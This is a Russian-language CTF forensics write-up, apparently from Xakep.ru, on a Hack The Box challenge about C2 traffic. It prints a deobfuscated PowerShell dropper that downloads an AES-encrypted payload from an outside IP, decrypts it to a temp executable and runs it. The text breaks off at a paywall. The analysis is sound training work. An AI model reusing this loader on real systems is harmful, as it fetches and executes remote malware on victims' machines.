Содержание статьи
Эта статья — райтап по одному из заданий по цифровой форензике с прошедшего в марте 2023 года CTF-соревнования на Hack The Box. Уровень — сложный.
Наше задание звучит следующим образом:
«Мы заметили необычный трафик, исходящий из открытого космоса. Неизвестная группа использует сервер Command and Control. В ходе всестороннего расследования мы установили, что заражено несколько компьютеров ученых из частной лаборатории Pandora. Можешь узнать, как работает сервер, и вернуть украденное?»
То есть мы знаем, что сервер был скомпрометирован, и у нас есть трафик. Нас просят проанализировать дамп, провести расследование инцидента и установить, как атакующие загружали утилиты на скомпрометированный сервер, какими способами закреплялись и как производили эксфильтрацию данных. В конечном счете нам нужно будет найти флаг.
Ищем артефакты в сетевом трафике
Первым делом загрузим дамп в Wireshark. Несложно установить, что IP скомпрометированного сервера приватный — 192.168.25.140, в то время как адрес C2-сервера атакующих публичный — 64.226.84.200. Также видно, что со скомпрометированного хоста происходит обращение к стороннему ресурсу (C2-серверу) с GET-запросом по ссылке, которая оканчивается на vn84.
. В ответ сервер отдает сценарий на PowerShell.
Трафик передается по HTTP, то есть без шифрования. Это значит, что мы можем экспортировать переданные объекты из дампа и подробно их изучить, чтобы восстановить ход атаки, а также определить, какие методы и утилиты использовали атакующие. Для этого в меню выбираем «Файл → Экспортировать объекты → HTTP». Жмем «Сохранить все» и задаем конечную директорию.
Изучаем артефакты
В глаза сразу бросается экспортированный сценарий PowerShell, однако, чтобы получить полную картину, нужно определить, с артефактами какого формата нам предстоит работать. Поэтому не будем бросаться изучать найденные скрипты, а первым делом посмотрим, что за формат у остальных экспортированных файлов. Для этого воспользуемся утилитой file и командлетом Get-ChildItem
. Обойдем все файлы в цикле:
foreach ($file in (Get-ChildItem $_.Name))
Запишем полученный массив в переменную $fileformat
, а в новом цикле переименуем файлы с расширением PNG, чтобы посмотреть, что внутри.
foreach ($format in $fileformat) }
Интересного в самих картинках мало (это изображения собак в низком разрешении), однако внимание привлекает файл %3fdVfhJmc2ciKvPOC(
, поскольку его размер больше других — 827 Кбайт. Похоже, помимо картинки, в нем есть что‑то еще. Возьмем этот факт на заметку и будем двигаться дальше. Поглядим, что в других файлах.
Файлы размером около 1 Кбайт — ответы сервера на запросы («200 OK» и другие коды), и интереса такие данные для нас не представляют. Остальные файлы имеют малоразличимое содержимое, их пока оставим, а вот экспортированный сценарий PowerShell вполне читабельный, хоть и немного обфусцирован. Попробуем разобраться, что происходит в коде.
Изучая vn84.
, можно увидеть обфусцированные командлеты.
Здесь атакующие используют обфускацию строк, подробнее об этой и других техниках можно узнать из доклада на Black Hat 2017 (PDF).
Для деобфускации можно пойти несколькими путями: воспользоваться инструментом PSDecode, использовать журнал Windows при включенном аудите сценариев PowerShell, ну или попросить разобраться ChatGPT, который тоже умеет деобфусцировать, хоть иногда и меняет исходный код на свое усмотрение.
Я воспользуюсь PSDecode. После деобфускации получаем исходный сценарий (некоторые строки я подправил вручную):
Set-Item 'Variable:QLz0so' ([type]('System.IO.FileMode'))Set-Variable -Name l60Yu3 -Value ([type]('System.Security.Cryptography.AesCryptoServiceProvider'))Set-Variable -Name BI34 -Value ([type]('System.Security.Cryptography.CryptoStream'))$Url = 'http://64.226.84.200/94974f08-5853-41ab-938a-ae1bd86d8e51'$PTF = "$env:temp\94974f08-5853-41ab-938a-ae1bd86d8e51"Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $pathInvoke-WebRequest -Uri $Url -OutFile $PTF$Fs = New-Object -TypeName 'System.IO.FileStream'($PTF, ([System.IO.FileMode]::Open))$MS = New-Object -TypeName 'System.IO.MemoryStream'$aes = [System.Security.Cryptography.AesCryptoServiceProvider]::Create()$aes.KeySize = 128
$KEY = [byte[]] (0,1,1,0,0,1,1,0,0,1,1,0,1,1,0,0)$iv = [byte[]] (0,1,1,0,0,0,0,1,0,1,1,0,0,1,1,1)$aes.Key = $KEY$aes.IV = $iv$cs = New-Object -TypeName 'System.Security.Cryptography.CryptoStream'($MS, $aes.CreateDecryptor(), ([System.Security.Cryptography.CryptoStreamMode]::Write))$fs.CopyTo($cs)$decD = $MS.ToArray()$CS.Write($decD, 0, $decD.Length)$decD | Out-File -Path "$env:temp\tmp7102591.exe" -Encoding Byte
& "$env:temp\tmp7102591.exe"
Становится понятнее. Если коротко: PowerShell-скрипт здесь при помощи системной службы Windows BitsTransfer (T1197 по матрице ATT&CK) передает данные с C2-сервера. Они загружаются на скомпрометированный хост, после чего расшифровываются по алгоритму AES-CBC-128. Для расшифровки AES c CBC-mode необходимы ключ и вектор инициализации, они как раз и указаны в сценарии.
Расшифрованные байты записываются в исполняемый файл $env:
, а затем этот файл запускается. Наша первоочередная цель — расшифровать данные и записать их в исполняемый файл для дальнейшего изучения. Это поможет узнать, что происходило на этапе закрепления.
Для дешифровки можем воспользоваться тем же сценарием или инструментом CyberChef (но это более трудоемкий способ).
Из значения переменной $Url
в сценарии следует, что расшифровывать нужно поток байтов в дампе трафика с именем 94974f08-5853-41ab-938a-ae1bd86d8e51
.
info
Чтобы убедиться, что работа ведется с верным пакетом, номер пакета можно сопоставить с номером экспортируемого объекта Wireshark.
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»